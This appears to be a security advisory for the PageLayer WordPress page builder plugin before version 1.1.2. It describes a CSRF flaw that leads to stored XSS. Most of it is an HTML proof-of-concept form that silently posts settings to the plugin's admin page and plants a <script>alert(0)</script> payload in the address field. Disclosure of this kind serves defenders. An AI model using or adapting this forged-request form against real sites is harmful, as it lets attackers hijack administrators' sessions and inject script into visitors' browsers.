Page Builder: PageLayer – Drag and Drop website builder < 1.1.2 – CSRF leading to XSS

Description

A flaw allowed attackers to forge a request on behalf of a site’s administrator to modify the settings of the plugin which could allow for malicious Javascript injection.

Proof of Concept

<html>
<body>
    <form action="http://[site]/wp-admin/admin.php?page=pagelayer" method="POST">
      <input type="hidden" name="pl_support_ept[]" value="post" />
      <input type="hidden" name="pl_support_ept[]" value="page" />
      <input type="hidden" name="pagelayer_content_width" value="" />
      <input type="hidden" name="pagelayer_between_widgets" value="" />
      <input type="hidden" name="pagelayer_body_font" value="" />
      <input type="hidden" name="pagelayer_tablet_breakpoint" value="" />
      <input type="hidden" name="pagelayer_mobile_breakpoint" value="" />
      <input type="hidden" name="pagelayer_icons_set[]" value="font-awesome5" />
      <input type="hidden" name="pagelayer-address" value="<script>alert(0)</script>" />
      <input type="hidden" name="pagelayer-phone" value="+1234567890" />
      <input type="hidden" name="pagelayer_cf_to_email" value="" />
      <input type="hidden" name="submit" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>